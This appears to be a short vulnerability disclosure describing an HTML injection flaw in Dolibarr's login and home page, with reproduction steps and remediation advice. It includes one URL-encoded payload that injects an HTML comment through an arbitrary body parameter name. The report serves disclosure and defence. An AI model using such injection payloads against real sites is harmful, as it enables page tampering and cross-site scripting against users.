Summary
Observed a HTML Injection vulnerbaility in the Home page of Dolibarr Application. This vulnerability allows an attacker to inject arbitrary HTML tags and manipulate the rendered content in the application's response. Specifically, I was able to successfully inject a new HTML tag into the returned document and, as a result, was able to comment out some part of the Dolibarr App Home page HTML code. This behavior can be exploited to perform various attacks like Cross-Site Scripting (XSS).
Details
- Navigate to the login page of Dolibarr application.
- Submit a login request with the following payload in an arbitrarily supplied body parameter: "u70ea%22%3e%3c!--HTMLInjectionBy_Sai"=1

Remediation Suggestion Kindly validate and sanitize all user-supplied input, especially within HTML attributes, to prevent HTML injection attacks. Implement proper output encoding when rendering user-provided data to ensure it is treated as plain text rather than executable HTML.
